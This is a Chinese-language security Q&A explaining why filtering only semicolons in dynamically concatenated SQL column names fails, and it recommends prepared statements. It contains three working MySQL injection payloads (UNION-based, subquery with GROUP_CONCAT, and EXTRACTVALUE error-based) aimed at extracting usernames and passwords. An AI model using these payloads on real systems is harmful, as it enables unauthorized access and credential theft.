仅移除;等字符的SQL动态列拼接写法是否存在SQL注入风险
注意:示例可使用任意SQL后端(Oracle、SQL Server、MySQL、Postgres),本文测试示例基于MySQL实现。
结论
该防护方案完全无法规避SQL注入风险,仅过滤分号的黑名单防护逻辑存在严重缺陷,攻击者无需使用分号即可构造大量合法Payload实现恶意攻击。
可实现攻击的输入示例
示例1:联合查询拖取敏感数据
攻击者无需分号即可构造如下输入:1 FROM tbl UNION SELECT username, password, 1 FROM users --
拼接后生成的完整合法SQL如下:
SELECT field1, field2, 1 FROM tbl UNION SELECT username, password, 1 FROM users -- FROM tbl
语句末尾的-- 会将后续的FROM tbl注释为无效内容,最终SQL会正常返回users表中存储的所有用户名、密码信息。
示例2:子查询直接返回敏感数据
攻击者可构造如下输入:(SELECT GROUP_CONCAT(username, ':', password SEPARATOR '|') FROM users) AS stolen_data
拼接后生成的完整合法SQL如下:
SELECT field1, field2, (SELECT GROUP_CONCAT(username, ':', password SEPARATOR '|') FROM users) AS stolen_data FROM tbl
执行后会直接把所有用户的账号密码拼接后作为查询结果的字段返回,全程不需要分号。
示例3:报错注入泄露敏感数据
如果页面会返回SQL执行错误信息,攻击者可构造如下输入:EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1), 0x7e))
执行后会通过MySQL的XPATH语法报错,直接把users表第一条记录的密码信息展示在错误提示中。
补充说明
分号仅为SQL的多语句分隔符,绝大多数注入场景不需要执行多语句,单语句内就可以完成数据窃取、权限探测等恶意操作,仅过滤分号的防护逻辑没有实际价值。正确的防护方式是使用预编译语句绑定参数,从根源上避免SQL拼接逻辑。
内容的提问来源于stack exchange,提问作者David542

